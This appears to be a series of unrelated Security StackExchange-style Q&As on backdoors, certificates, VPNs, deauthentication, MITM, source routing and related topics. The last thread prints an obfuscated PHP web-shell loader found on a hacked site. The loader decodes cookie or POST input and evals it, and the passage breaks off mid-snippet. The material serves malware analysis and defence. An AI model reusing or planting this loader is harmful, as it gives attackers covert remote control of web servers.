Malicious logic and backdoors. You're not likely to find an automated tool to automatically detect things like backdoors, malicious logic, timebombs, etc.  These are too hard to detect with current techniques; it is too easy to hide a backdoor that current analysis techniques are not likely to find.  (This is true of both static analysis and dynamic analysis.)  Moreover, these kinds of backdoors are very rare -- probably not common enough to justify significant investment into building such a tool.
I think you should be worried more about vulnerabilities and bugs than about maliciously placed backdoors.  They're a lot more common.  And, if you are in a security-critical setting where you think there is a significant threat that a third party might try to deliberately insert a backdoor into a particular piece of code you are using, well, you shouldn't use that piece of code unless you trust the supplier.
Today, the most effective development-time defenses against malicious backdoors and timebombs are as follows:

Vet the developers. Choose developers who you trust.  Normally, you'll want them to be your own employees.  If you use external suppliers, you'll need to vet them carefully.

Mandatory code review. All code should be reviewed by a second person, other than the developer.  The software development workflow and repository should be designed to track and enforce this policy.  This provides two-person control: no one person can introduce code that isn't reviewed, and thus if everyone is taking the code review requirements seriously, this process should make it harder for a single individual to introduce a backdoor without being detected.
See also How to review code for backdoors? for related discussion.

Secure software repository. Lock down the source code repository and build processes to ensure that no single insider can introduce malicious code into the binary.

However, these techniques remain limited in their effectiveness.  I think you should also look at other defenses, such as risk transfer, isolation and sandboxing, and monitoring; I elaborate on this elsewhere on this site.
Bugs and vulnerabilities. I would suggest that, for most purposes, you should be more concerned about bugs and vulnerabilities (inadvertently introduced by a well-intentioned but fallible developers).  There are many commercial and open source tools for scanning source code to detect bugs and vulnerabilities.  For commercial tools, see the trade press; check out, e.g., Fortify, IBM Appscan, Veracode, and their competitors.  The commercial tools are generally better than the open source tools.
If you are using a third-party open source library, I would also suggest that you check the CVE vulnerability database for past and open reports of vulnerabilities.  Look to see how many vulnerabilities have been reported, how rapidly they were reported, and whether the project has technical details on the nature of the vulnerability.  This should give you an idea of the project's security stance.
If you want a more in-depth look, you could look at the Coverity Scan database to see if they have scanned the library.  You could also look through the library's bug tracker to see how they have handled security issues in the past.  You could check to see if they have a clearly indicated security bug reporting process or place to report security bugs.  These will give you a sense of the maturity of the project's software development process and its attitude towards security.
You may also find the following industry white paper of interest: The Unfortunate Reality of Insecure Libraries.
Open source.  Your question seems to suggest you may be thinking that backdoors and timebombs are a greater threat in open source code than in closed source code.  While that could be true, I'm not aware of any evidence for that assertion.  If you're worried about backdoors and timebombs, you should probably be worried about it in all the code you are using, open source or closed source.


Is using self-signed certificates an option for this m2m scenario Imagine having a couple of hundred of embedded devices in the field that need to be remotely managed over SSH or HTTPS.

These embedded devices are exposed on the internet but are installed at secure locations. They are put in an enclosure that cannot be accessed by unauthorised personnel.

The people that require remote access to these devices are limited, and are dedicated support personel.

What is the risk of using self-signed certificates in this case ? Providing we

clearly communicate to the people that need to access these systems that these are indeed self-signed server certificates.
we install the root CA certificate on the clients

using self-signed certificates ... we install the root CA certificate on the clients

Your statements are conflicting: Either you have (your own) root CA to sign all certificates, or all these certificates are only signed by themselves (self-signed) which means there is no root CA.

If all of the machines are managed by the same party then you can use a common trusted root CA for all the certificates. It not only simplifies everything, but it can actually be more secure if all clients used to manage the machines only accept this single CA as trusted and if this CA only issues certificates for this machines. Having self-signed certificates is instead a maintenance nightmare, because you would need to trust each of these certificates explicitly instead of just trusting a single CA.

But, I doubt that you will be able to roll out your own CA in a secure way based on your current knowledge. Since a compromise of your own CA would immediately compromise the certificates of all your machines, I would strongly recommend that you get a recognized (instead of a self-proclaimed) security professional on board to help you with this issue.

Apart from that it might be a good idea to ask such questions at security.stackexchange.com.


How does VPN (IPSec) work? Let's assume both, my VPN client and VPN gateway has public and private keys.

I encrypt my request with VPN gateway's public key. VPN gateway gets the request, decrypts it with private key. Then, VPN gateway encrypts the shared secret key it generated with my public key, then I get this request, decrypt it and now I have a shared symmetric secret key with which I can encrypt my tcp requests. Is that how it works?

IPSec has many modes but there are two main forms authentication for an IPSec tunnel via Internet Key Exchange (IKE) - IKEv1 and IKEv2 (newer) which support 509.X certificates or even preshared keys (such as passwords); the IKE mode selected will then use diffie-hellman (if it's selected in the config, for example) to exchange a symmetric key (as you stated) for the tunnel session (if that's the mode you are using). At this point you have a matured Security Association (SA). Now that you have a key that you are going to use for the session, IPSec has two protocols that will encapsulate your tunnel, AH and ESP.  AH, Authentication Header, provides authentication but no encryption of the tunnel. ESP, Encapsulating Security Payload, uses the encryption algorithm (3DES-CBC, AES-256-CBC, etc...) that you selected in the IPSec configuration to encapsulate the traffic (tcp, udp, icmp, etc...) as it makes its way to the other device that you have the SA with.  FYI, some vendors support a mix of ESP/AH protocols.

If you want to know more about IKE and IPSec check out the RFCs, they are really detailed and informative.


Why does Wireshark not recognize WCF traffic as TLS encrypted? In a .NET application, communication between client and service can be implemented using various different bindings, NetTcpBinding being one of them.

The class defines an attribute named Security, which, according to this article, defaults to Transport.

This further article explains how Transport works:

  The NetTcpBinding class uses TCP for message transport. Security for the transport mode is provided by implementing Transport Layer Security (TLS) over TCP. The TLS implementation is provided by the operating system.

This sounds to me as if, upon connecting with a WCF Service, the client would perform a TLS handshake. However, if I watch the traffic with Wireshark 3.2.3, the traffic is only recognized as "TCP", with no TLS handshakes in sight. If there is a TLS handshake going on, shouldn't Wireshark recognize it as such? Why does it only see generic "TCP Data"?

I did some more digging after this, and discovered that NetTcpBinding in this scenario uses the .NET Message Framing Protocol, and I was able to decode the first message that went across the wire:

00 01 00

This indicated that it was a Version record, indicating version 1.0.

01 02

This was a Mode record, indicating a Duplex transmission.

02 ... ... ...

This was a Via record, which defines the URI to which subsequent records are bound.

03 08

This was a Known Encoding record, specifying that the encoding was Binary with in-band dictionary, as specified in MC-NBFSE.

09 15 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6e 65 67 6f 74 69 91 74 65

This was a Upgrade Request record, which encoded the string application/negotiate, which indicates GSS-API Negotiation should be used, as defined in RFC 4178.

0a

This was the response from the server, indicating that the upgrade request was being honoured.

I don't really know how to proceed from here, but most packets start with 16 01 00, which I assume is documented somewhere in the GSS-API or such? I honestly don't know enough about that. But I guess it's sufficient for my purposes.

Because it lacks a filter to correctly identify this protocol's data stream as being TLS. As discussed in the comments, it's not a straight-forward TLS over TCP connection.


Deauthentication attacks, from or to client? I am researching about the relatively well-known attack against wifi networks involving sending deauthentication packets.  The wikipedia article indicates that this attack is performed by sending deauth packets to the AP pretending to be the client, causing any further data to be dropped until the client reauths.  Many other sources that I have found (those using aireplay-ng) indicate that they are attacking the client with these deauth packets, not the AP.  Which is correct?  Are both methods valid attacks?  Do I have some fundamental misunderstanding of what's happening here?

Here, you can find the answer to your question. Basically deauth attack uses both AP and Station (client) for a successful attack.
To further add to the answer and make it more specific, the attack can be done in two ways: -
1. Deauthenticating a specific station(s) -> In which a request is sent to the AP as well as to the station(s) to disconnect the station(s).
2. Deauthenticating all the stations -> A broadcast mechanism is used.

Hope this helps!


How to secure your Mac when downloading torrents? I need to download some files which are distributed as a torrent. The files aren't pirated / restricted so i dont need to worry about a VPN.

My main concern is securing my computer when downloading the files. Im using a macbook pro running 10.10.5 (all latest patches). Ive also got Avast mac anti virus (free) installed.

My current workflow is : add torrent to transmit (torrent client), set download location to a custom folder, once download is complete run an Avast custom scan on the download location folder. If scan comes back with no results i open the file as normal.

Is there anything else i can do to increase the security of my computer from Viruses, malware and other unwanted issues when downloading torrents ?

This assumes you are interested in ensuring the file maintains integrity in transit.

If you have access to the source files before transmit you should run a hash on the files such as sha256 or if they are large then save a litttle time using the older sha1 (depends how much you want to trust the source, md5 might be acceptable for you even)

Keep the hashes safe, when the files are received at the other end recheck the hashes.

Make sure you check at the destination before executing them though!

If you are wanting general security advice then the same rules of downloading any file apply. Such as:

Keep up to date AV
Execute with minimum privileges needed
Keep OS patched

You could also (If you think it's worth the effort) sandbox the downloads (even in its own VM) if you wanted. But I don't know what the files are for so only you will know if this level is needed.


To get security clearance, do I need to be national of the country? For example, if I want to apply to a job based in UK which requires security clearance, can I only do so if I'm a British national? What if I'm from another country belonging to the EU?

I believe It depends on the level of security clearance you require.
For example, SIS/MI6 work that requires DV clearances has the following criteria

  The minimum criteria for attaining a valid DV clearance are:

  The candidate must have been a resident in the UK for the majority of the past ten years and
  The candidate must have residency information that is verifiable.

This guide here has the following values for residency for the following levels of clearance:

DV(Developed Vetting) = 10 years minimum residency
SC(Security Check) = 5 years minimum residency
CTC(Counter Terrorist Check) = 3 years minimum residency

The following levels of security clearance don't specifically mention residency or citizenship as far as i can determine.

EBS / Enhanced Baseline Standard
BPSS / Basic Personnel Security Standard
NATO Cleared
MPS / Metropolitan Police Service
SIA / Security Industry Authority
CRB / Criminal Records Bureau
ECRB / Enhanced Criminal Records Bureau

In case you aren't aware, the system in the UK is like Australia, you require the company you will work for to 'Sponsor' your application for clearance (basically you have to be better than everyone else in the UK that doesn't already have clearance).

In Australia, you are required to have citizenship to get the most 'simple' baseline clearance.


Slow HTTP DoS Mechanics Our firewall detected and blocked a Slow HTTP DoS the other day. There were only a few attempts in the log. It wasn't a full on attack (there would be more traffic). My question is...if I'm an attacker and I launch this type of attack, how would I know if it is potentially successful?

Is any traffic returned from the target during a Slow HTTP Dos?

Thanks!

The ultimate success metric of a DoS attack is the loss of service. What is different about this type of DoS attack is that the control is in the attacker's hands: you limit how fast you read the server's response. So, yes, you get instant feedback that your attack is succeeding.

The answer to the question:

  Is traffic returned?

is, of course, "Yes." Returning traffic is required.

Google's full write up on the attack is here


How can I see the data content (HTML, JS, etc) in HTTPS responses in Wireshark? I'm learning packet sniffing and analysis with Wireshark.

At first, I could only see DNS, TCP, and ARP packets. I learned I couldn't see any HTTP packets because it was all encrypted in the transport layer. So I properly set up the env variable $SSLKEYLOGFILE so the browser would now log SSL keys in a given file. After I configured Wireshark to use the keys from the file, I can now view HTTP traffic. However, it seems most (if not all) application data such as HTML, JS and user data is also encrypted.

My questions then are:

Why is data encrypted at transport layer and at application layer?
How can I view HTTPS traffic unencrypted?
What use is any MITM attack if you can very rarely see data unencrypted? How would one get the keys?

Man-in-the-Middle means that you also control the keys. Encryption means that you cannot "just sniff", and that you need to be "in the middle" to be able to see anything.

How to get the keys as a MITM is straightforward: you are the server the client negotiates TLS with, so you get the key. You pass on the traffic to the intended destination from then on after you negotiate TLS with that server.

What you are likely seeing at the application layer is not encryption but compression and encoding. Wireshark offers tools to decode those things.


Is it possible to crack VPN handshake? If i connect to VPN, we have some handshake to exchange info about how the traffic will be encrypted. If someone(e.g. my ISP) would capture the whole handshake and connection part, is there any way to get any info out of it ? For example login info.

This depends on the protocol used for your VPN - this is not nearly enough information.  If PPTP, yes, likely - PPTP is definitively broken.  If something else, well, it depends.  A well crafted VPN protocol is not susceptible to replay attacks - look up your protocol and see its current status.


Openssl view csr extentions I want to test a csr to see which extensions it is made by. specially I want to see if request is a Ca:False to CA:True one.

I try to view Csr using

openssl req -in a.csr -noout -text

but it isn't declared.

how to test it?

A PKCS#10 request contains attributes. One of the possible attributes is Extension Request defined in section 5.4.2 of PKCS#9: it contains a list of certificate extensions that the requester would like to see in the certificate. If OpenSSL shows no such attribute, or that attribute is present but does not contain a Basic Constraints extension, then the request indeed does not suggest that the certificate should be tagged as "CA".

Note, though, that these extensions are just hints. The CA still decides what goes in the certificate.


Is a server absolutely safe if the attacker don't know unknown bug? If a server installed all patches for known bugs and the attacker can't do a 0-day attack, then is the server absolutely safe?

The question itself relies on some pretty critical, and invalid, assumptions:

We know who the attacker is.
We know what the attacker does and does not know.
We know that the attacker does not know about zero-day vulnerabilities in our system.
The attacker's level of knowledge and skill is static.
A system can be absolutely safe.

We cannot assume to know who the attacker is.
With very rare exception, if any, it is impossible to know who will be attacking your system in the future. Chances are, you don't even know everyone that's attacking your system now. Therefore, you must do what you can (within reason) to prepare for all possible attackers.

We cannot know what the attacker does or does not know.
The second assumption is very much reliant upon the first to begin with. Even if you do know who's attacking you though, it is the very nature of human beings that one person does not comprehensively or authoritatively know everything that another person knows.

We cannot know whether an attacker knows about zero-day vulnerabilities in our system.
The very nature of zero-day vulnerabilities is that we, as defenders do not know about them. That's why they're called "zero-days" - as long as the attacker is the only one with knowledge of a vulnerability, defenders have had "zero days" to develop or apply patches or configuration changes necessary to mitigate them.

Attackers are always learning and developing new skills, tools, and techniques.
Even if you do know who your attacker is and what he knows, and that his knowledge is limited to only the vulnerabilities that are patched on your system, that does not mean that he will not learn something new in the future. If an attacker has studied your system, and realizes that he does not know of an exploitable vulnerability for the software and updates you have installed, the next thing they'll probably do is start to Google for other vulnerabilities that do apply. If nothing turns up there, they may try analyzing the system and software themselves to develop whole new exploit vectors.

No system can be made absolutely safe.
This is just the raw nature of security. No matter what, there will always be something that can compromise your system. It's our job to just make sure that that "something" requires extraordinary effort or resources, so that potential attackers are dissuaded from even trying. We should also put monitoring and alerting systems in place so that we can see when an attacker is successful and respond quickly and appropriately.


HTTPS or HTTPS within VPN for WIFI security? I read that HTTPS can be compromised and is not as safe as you think. With a free VPN you have to put some trust in a free VPN server with your data, and surely your data from when it leaves the VPN server to the destination has to be uncrypted unless the VPN is set up at both ends.

So is HTTPS within VPN a lot more secure than HTTPS or VPN on their own, e.g. can the VPN server can access your data when HTTPS is used inside the VPN tunnel?

Or is HTTPS safe enough on its own?

I use public WiFi a lot and would like to use as a secure connection as possible for just the sensitive email and important stuff whilst not being a hassle to set up and also free.

Would HTTPS within Hotspot Shield be more secure than HTTPS? Would you use WiFi for important browsing?

Regarding your 'session jacking' comments on Terry Chia's answer:

Session jacking and the technique that Firesheep uses is to target HTTP site logins taking place over a shared network connection, ie: WiFi. This is acomplished by intercepting the session cookies that the site sends back after a successful login takes place. If the connection uses SSL [aka HTTPS] then these cookies cannot be read by a third party.

When your browser indicates "not everything on this page is secure" that means that some resource was loaded over a plain HTTP connection. This does not necessarily mean you're vulnerable, since it is usually simply an image file or an included CSS/JS file.

As for VPNs, you should only trust the VPN connection as much as you trust the provider. That is to say if you're using a free service like HotSpotShield then you had better be OK with them being able to intercept every single packet you send to them. Also, since you install their VPN client software there's nothing stopping them from also installing forged root/intermediate SSL certificates on your computer that will allow them to strip off SSL protection if they feel like it.

In summary, you're best off not using a VPN that you didn't set up yourself, and ensuring that your logins and important data is transmitted via SSL/TLS protected connections, eg: HTTPS, IMAPS, POPS, etc.


How to verify new accounts against a known persons database? I need to (try to) solve the problem of new account creation for a patient portal for a medical records system (electronic health record). That is, a way to activate a patient online and match her against her medical chart.

Let's assume that most patients will not have an email address listed among the data that I already have. If I want to allow a prospective patient to submit a bunch of demographics information, and then if it matches, receive an activation code, is there an alternative to sending that code to whatever email address the prospective patient provides? Because I might know all of the info for another person (i.e. an estranged spouse or a neighbor who doesn't shred their garbage) and then give my own email address (which can't be verified).

Short of having the prospective patient come into the doctor, or receive snail mail, to verify her identity (the problem I'm trying to solve) is there any way these types of verifications can be done?

(I am posting this here as suggested in a comment when I posted it to webmasters.stackexchange)

This is what I'm hearing you say: You have a medical facility with computerized records for the full set of patients.  You want to allow web users to try and set up accounts with a one-to-one mapping between actual patient and their own records.  Your goal is to allow this to be done online without resorting to out-of-band methods such as snail mailing account information or requiring an office visit.

There's two questions here:

Can you one-to-one match a user against their patient record based on what they know?
Can you trust verification based purely on what they know?

The answer to both tends to be "not really."  Because patients may use different names or variations (I've got paper trails as both 'Greg' and 'Gregory'), there may be name mismatches.  Adding in things like birthdate helps, but is still not collision-proof.  And you probably have multiple patients with the same name - I've worked with so many Jennifer Chens over the years it isn't funny.

...which is why your set of patient records all have some form of unique patient ID, hopefully unique to your facility or umbrella medical group.  If the user knows that, they can just type that in.  But in many cases they won't know it or have it handy.  At best, it may show up on paperwork they receive in the mail... but that goes back to what you wanted to avoid.

Finally, nothing a user knows can be trusted to be private.  I'm not legally allowed access to my wife's medical data, but I know everything you could possibly ask to identify her.  And in this day and age it isn't impossible to find out that level of detail about strangers.

I think you'll find that the standard in this area is to send snail mail out with an initial password.  I've signed up for some medical (insurance) related sites where that was how it worked.  The snail mail to the address of record is treated as a trusted second form of authentication, although of course, it isn't really.  As you pointed out, it's easy enough for a family member or even stranger to intercept that mail.

Given that you're talking about medical records, you need to be careful to avoid the more culpable forms of improper access ("I know John's birthday, so I can get into his medical records").  That may mean resorting to snail mail, which reduces culpability if not exposure.


How can I choose a strong password that is easy use on a smartphone? Typing on a smartphone is tedious. Special characters are the hardest; lowercase letters are generally the easiest. But even a long all-letter passphrase like "correct horse battery staple" is difficult to type on a smartphone.

I normally use LastPass on my computers, and let it generate long passwords with a mix of letters, numbers, and symbols. For example: "5&8fjmYyb4^Vd2n". Since I never have to read or type these passwords, they can be anything.

There is a LastPass app for just about every platform out there (cool). The one for Android is basically a web browser. If I want to log in to, say, http://amazon.com, it can fill in my credentials. But Amazon also has a few apps: Kindle, MP3 Cloud player, App Store, etc. These apps have their own login screens.

To run the Amazon Kindle PC software, I can use LastPass to copy my Amazon password to the clipboard, then paste in to the Kindle software login screen. However, copy/paste and switching between apps on Android is clumsy. It's better than typing "5&8fjmYyb4^Vd2n" but it still is a pain.

Two other obvious examples are the Twitter and Facebook apps. There are many more.

My phone has a slide-out keyboard, so digits and lowercase letters are easily accessible. Uppercase and some symbols (those on the numbers) are harder to get to. Other symbols are very difficult, as you have to navigate UI to look for them.

Similarly, the Kindle has a keyboard and a web browser. Both are hard to use, but sometimes they're just the ticket. There is no LastPass app for Kindle.

Ideally, I'd like a way to come up with strong, easy-to-remember passwords that are also easy to type on these hard-to-use devices.

You actually already have part of the answer: to make it easy to type, use only lowercase letters.

Now the trick is to know how many letters to use. If you want, e.g., 40 bits of entropy (a quite high goal for a password), then you must accumulate at least x letters such that 26x > 240 (i.e. 9 letters). 9 letters are sufficient if they are chosen uniformly, randomly and independently from each other; do not try to do it in your head, the human brain is a terrible RNG. Instead, use a good RNG (coin flips, dice, a computer with /dev/urandom...) and, that's the important bit, stick to the result: you get your 9 letters, accept them and learn them.

If you want to have a password that you can "easily" memorize then you need more letters. For instance, you could generate 100 sequences of 10 letters, and keep the one which pleases you most; since 2610 > 100*240, you still get your 40 bits of entropy.

See this question (in the crypto-specific stackexchange site) for details on the involved mathematics.


Using only a firewall, how do I protect a database server from be exposed? If I had two firewalls, I could put a web server within a DMZ and then with the second firewall restrict the access to the DB server.

However, If I only have one firewall, how could I accomplish this? Because if I use the following scheme the web server would have full access to the DB server, right?

 Internet -- Router -- Firewall -- Switch -- DB
                                     |
                                    Web

My base assumption is that your DB server does not need to be accessible from the Internet but the Web server does. If that assumption is invalid then adjust the rest as makes sense.

At minimum your firewall should be configured to limit outside traffic from your DB server. Modern firewalls are stateful, meaning they will detect outgoing communication from the devices inside and permit the return traffic. This will allow to you implement a blanket deny to your DB. You should also draw out a traffic profile of your DB server for internal communication. What kinds of access does it need? Do you use SSH or RDP to manage the box? Is the web server the only system that needs to hit the database port directly? What kind of monitoring are you doing? Does snmpd need to be open, are you using Grid (for Oracle) or MySQL Workbench to manage the database? Think about all of these and fill out the following table:

| Source Address | Port | Protocol | Purpose |
| -------------- | ---- | -------- | ------- |
| 192.168.1.1    | 3306 | TCP      | MySQL DB connection |

Once you have mapped out all the data connections use them to build our the host firewall on your DB server.

Depending on the technical capabilities of your network gear some data restrictions can be enforced on the switch itself. What's available and how to do it will be dependent on the vendor, model software revision, etc. You'll probably need your network engineer to research this one for you.


Does "loose source and record route" drop the source address? Is the source IPv4 address lost when a person uses "loose source and record route" and the destination address is put before the end of the list of addresses through which routing should occur?

It wasn't quite clear to me from RFC791 whether the first value on the list should be the source address, or whether the first value on the list should be the first hop.

Additionally

Since the routing is "loose", could it not hypothetically allow an attacker to include neither their own address, nor the address of the router to which they're connected, in the packet?

And... by extension...

Couldn't it allow someone to spoof the IP of a trusted host, thereby bypassing a firewall, and/or allow Internet-connected boxes to act as unwitting parts of a DoS/DDoS attack (by sending packets with the source address of the host to be attacked, to an address the attacker is aware they will reach, for a service which the attacker knows will send a response)?

If not, how is this kind of thing prevented?

(I am completely open to the possibility that these are all stupid questions; I know I am a n00b.)

To complete the message from @mr.spuratic: the text from RFC 791 is:

  Loose Source and Record Route

    +--------+--------+--------+---------//--------+
    |10000011| length | pointer|     route data    |
    +--------+--------+--------+---------//--------+
     Type=131

    The loose source and record route (LSRR) option provides a means
    for the source of an internet datagram to supply routing
    information to be used by the gateways in forwarding the
    datagram to the destination, and to record the route
    information.

    The option begins with the option type code.  The second octet
    is the option length which includes the option type code and the
    length octet, the pointer octet, and length-3 octets of route
    data.  The third octet is the pointer into the route data
    indicating the octet which begins the next source address to be
    processed.  The pointer is relative to this option, and the
    smallest legal value for the pointer is 4.

    A route data is composed of a series of internet addresses.
    Each internet address is 32 bits or 4 octets.  If the pointer is
    greater than the length, the source route is empty (and the
    recorded route full) and the routing is to be based on the
    destination address field.

    If the address in destination address field has been reached and
    the pointer is not greater than the length, the next address in
    the source route replaces the address in the destination address
    field, and the recorded route address replaces the source
    address just used, and pointer is increased by four.

    The recorded route address is the internet module's own internet
    address as known in the environment into which this datagram is
    being forwarded.

    This procedure of replacing the source route with the recorded
    route (though it is in the reverse of the order it must be in to
    be used as a source route) means the option (and the IP header
    as a whole) remains a constant length as the datagram progresses
    through the internet.

    This option is a loose source route because the gateway or host
    IP is allowed to use any route of any number of other
    intermediate gateways to reach the next address in the route.

    Must be copied on fragmentation.  Appears at most once in a
    datagram.

Possible confusion arises from the reuse of the the expression "source address". An IP packet has a source address field and a destination address field, which are NOT part of this option. The contents of the option (route data in the diagram above) consist in a sequence of IPv4 addresses, and the pointer field is an index within that list.

When the packet is first emitted, the sender wishes (by this option) to direct the packet to go through a sequence of designated routers. Let's call i1, i2... in the IP addresses of these routers; let d is the final destination for the packet, and s is the sender's own address. The packet will be allowed to traverse intermediate machines not in the list (that's the difference between "loose source and record route" and "strict source and record route").

A router is, by nature, "between" two (or more) local networks, and has one IP address on each. So the address ik for router k is one of the addresses of the router; the packet sender is expecting the packet to enter that router through the local network which contains ik.

Initially, the source address field is set to s; the destination address field is set to i1; and the loose source and record option contents are set to i1, i2,... in, d. The pointer field points to i1.

When the packet reaches router 1, the router notices that the destination field address matches one of its own IP. It then does the following: it replaces the destination field address with the next IP in the list (i2) then records its own address in the list: where there was i1, router 1 puts o1. What is o1 ? It is the output address which router 1 will use, that is the address on the other local network on which the packet will next be emitted. It is an address of router 1, just like i1, but on its "other face". The pointer field is also incremented, so that it now points to the slot containing i2.

The process continues until the last address is reached. Namely, when router n was reached, it wrote d in the destination address field, and wrote on over the value in in the option. When the final destination host is reached, the option contains o1, o2,... on, d. But the source address field (which is not in the option) has remained untouched throughout the whole process; it still contains s, the initial source address.

The idea of source recording is that the destination host could respond to the source host by sending a packet with its own "loose source and record route", and may use the recorded addresses so that the packet follows the same path, in reverse order; the answer packet would initially contain:

source address field: d
destination address field: on
loose source and record route contents: on, on-1,... o1, s

The "output address" of each router is now the "input address", since the answer walks the path in reverse order. And the routers will then put back the
ik addresses on the way back. And so on.

What's the point of this option ? Conceptually, it replaces Network Address Translation; or, more accurately, it implements NAT with the "address translation" using some state information which is in the route option itself.

Imagine that the initial sender A has address 10.0.7.34 (a private address in a local network) and wishes to contact external host B with address 237.23.56.171. The sender knows an "exit gateway" G which has a private IP (10.0.1.1) but also an external IP which is "on the Internet" (say, 243.157.4.28). Thus, the sender uses the loose source and record route option to indicate that the packet should do through 10.0.1.1. The destination host then receives a packet which comes from 10.0.7.34 (an IP address which makes no sense to the destination host), but which recorded that it went through 243.157.4.28 (that's the address that the "exit gateway" recorded in the option when the packet went through it).

The B host can then respond to A by using the same option, indicating passage through 243.157.4.28 (the external facing address of G). The final destination address for this answer is 10.0.7.34 which has no meaning for B (it is a private address in another network), but the packet will first go to G, and G knows everything about 10.0.7.34.

That way, millions of machines in a private network could "share" the external address of G, and all be able to contact external servers. One may even do connections between two hosts who are on distinct, private networks, by using source routing through two gateways.

When doing NAT, there must be some state somewhere, which remembers the translation to perform. In NAT as it is commonly used, this state is tables in the router G. G will play with the ports (an UDP/TCP concept) to keep a reference, but the actual state, i.e. the addresses which must be used and replace the ones written in the packets, are in G's RAM. The loose source and record route option allows for putting that state in the packets themselves, thus allowing G to handle millions of combinations without using any RAM at all (and when IPv4 was designed, RAM was very expensive; in 1981, when RFC 791 was written, 64 kB was huge).

However, putting state in packets means that the state could be altered externally. In 1981 everybody on the Internet was cooperating. In 2013, there are bad people. Evil people. Attackers. These people may use the source and record route option to make packets go through unexpected routes and artfully dodge firewalls. It is possible to implement and configure firewalls to inspect and block packets which use the source and record routes, but it requires more thinking. Sysadmins don't like that. They prefer usual NAT where all the state is on their machines, because it makes the problem simpler. So source routing has been deprecated in the 1990s. IPv6 designers tried to revive it, but it is encountering the same lack of support from firewall vendors and sysadmins, who prefer to kill it right away.


Why is data quality important for privacy? "Outdated personal data" is number 8 on the OWASP Top 10 Privacy Risks, and also the OECD Privacy Principles mention that data should be kept up to date:

  Personal data should be relevant to the purposes for which they are to be used, and, to the extent necessary for those purposes, should be accurate, complete and kept up-to-date.

Why is outdated personal data a privacy risk? Wouldn't you have more privacy if other parties have outdated or incomplete data on you?

It allows to build a history. When I got five different datasets about you from five different sources which list three different addresses, I know that you seem to be someone who moves a lot, which can have various reasons. When I can pinpoint that a while ago your last name changed and shortly afterwards your address changed as well, it tells me you either married or got divorced. So I will spam you either with household items or dating sites.

It gives me more material to link datasets together. When I have one dataset from you with an outdated telephone number and another old dataset which is anonymous except for the same outdated telephone number, I can link them to each other.

It also allows identity theft in cases where personal information is used to identify you. For example, you might have some old email account you don't use anymore. When I would hack that account somehow, you wouldn't even notice. But maybe there are still some websites where you have accounts bound to that old email account. I could now use the "forgot password" function of these websites to take over your accounts.

However I still agree that less data is better than more and that one should generally avoid to have more data about them in some databases than strictly necessary.


How do MACs provide authenticity? I don't see how they're different then hash functions. Couldn't Alice use Bob's key to produce a MAC and send the message to Jim.

I assume you mean Message Authentication Code.

The major difference between a MAC and a hash function is that the MAC also takes a secret key as input. Therefore the MAC provides both integrity and authenticity for the message.

Example how it is used:

Both Alice and Bob know the secret key k. Alice wants to send an arbitrary long message m.

She generates a tag. tag <- S(k,m).
She sends message m together with the tag.

Bob verifies this.

V(k,m,tag) = Yes/No


Open Source tool for analysing javascript for security vulnerabilities I am completely new to this field and am a college student. I am looking for a static code analysis tool that scans the source code of a web app ( NOT the URL) for security vulnerabilities. So far i have not found a tool that scans the code, it is only asking to paste the URL which is not what i am looking for.Could you please suggest me an "OPEN SOURCE" tool that scans web app developed using ""javascript"""? Please guys!!!

You've mentioned that your app is written in JavaScript, and I assume you are talking about JavaScript that runs in the browser, and not in a Node.js server. That leaves me unsure about whether your app has any server side code (e.g. Java Servlets, PHP, ASP.NET, Ruby, etc).

If you don't have any server side code then your app is quite low risk: there is very little an attacker could get from attacking it. There won't be any database, so there won't be a risk of SQL injection. Can you elaborate on what you are trying to protect? For example, is there any sensitive information handled by the app?

This open source scanner looks for DOM based Cross site scripting, but I'm not sure how easy it would be to set up. You can also search Google for "xss detection plugin" to find other browser plugins that scan web apps.

If your app has server side code then leave a comment to say what language it is so I can suggest a scanner for it.

EDIT: If I understand you correctly, you need to create a web app where users can upload the source for their app, and your web app will tell the users what vulnerabilities are in their app. The uploaded app to be tested might contain Javascript. Have a look at this library, it might help you to scan Javascript for security vulnerabilities.


Malicious code found - translation please? An unfriendly visitor left some code on my website. Unfortunately, the coding makes it hard to understand what he wants (probably full control over my server). Any help in deciphering the actual message would be greatly appreciated. The following snippets are from four different php files:

SNIPPET 1:

  $plows = '6pk37x\'#8r9-taugidyecm40svno1Hf2*bl_';$dsmvel =
  Array();$dsmvel[] =
  $plows[13].$plows[0].$plows[28].$plows[10].$plows[3].$plows[28].$plows[19].$plows[0].$plows[11].$plows[13].$plows[3].$plows[30].$plows[31].$plows[11].$plows[22].$plows[28].$plows[33].$plows[22].$plows[11].$plows[10].$plows[4].$plows[33].$plows[17].$plows[11].$plows[0].$plows[31].$plows[30].$plows[4].$plows[8].$plows[30].$plows[4].$plows[22].$plows[23].$plows[17].$plows[22].$plows[22];$dsmvel[]
  = $plows[29].$plows[32];$dsmvel[] = $plows[7];$dsmvel[] = $plows[20].$plows[27].$plows[14].$plows[26].$plows[12];$dsmvel[] =
  $plows[24].$plows[12].$plows[9].$plows[35].$plows[9].$plows[19].$plows[1].$plows[19].$plows[13].$plows[12];$dsmvel[]
  = $plows[19].$plows[5].$plows[1].$plows[34].$plows[27].$plows[17].$plows[19];$dsmvel[]
  = $plows[24].$plows[14].$plows[33].$plows[24].$plows[12].$plows[9];$dsmvel[]
  = $plows[13].$plows[9].$plows[9].$plows[13].$plows[18].$plows[35].$plows[21].$plows[19].$plows[9].$plows[15].$plows[19];$dsmvel[]
  = $plows[24].$plows[12].$plows[9].$plows[34].$plows[19].$plows[26];$dsmvel[]
  = $plows[1].$plows[13].$plows[20].$plows[2];foreach ($dsmvel[7]($_COOKIE, $_POST) as $zboufyf => $dytfo){function
  acwsil($dsmvel, $zboufyf, $iqobpne){return
  $dsmvel[6]($dsmvel[4]($zboufyf . $dsmvel[0], ($iqobpne /
  $dsmvel8) + 1), 0, $iqobpne);}function mdzodxr($dsmvel,
  $vozlac){return @$dsmvel[9]($dsmvel[1], $vozlac);}function
  btfwmsl($dsmvel, $vozlac){$jlzfvu = $dsmvel3 % 3;if
  (!$jlzfvu) {eval($vozlac1);exit();}}$dytfo =
  mdzodxr($dsmvel, $dytfo);btfwmsl($dsmvel, $dsmvel[5]($dsmvel[2],
  $dytfo ^ acwsil($dsmvel, $zboufyf, $dsmvel8)));}

SNIPPET 2:

  eval("\n\$dgreusdi = intval(LINE) * 337;");

  $a =
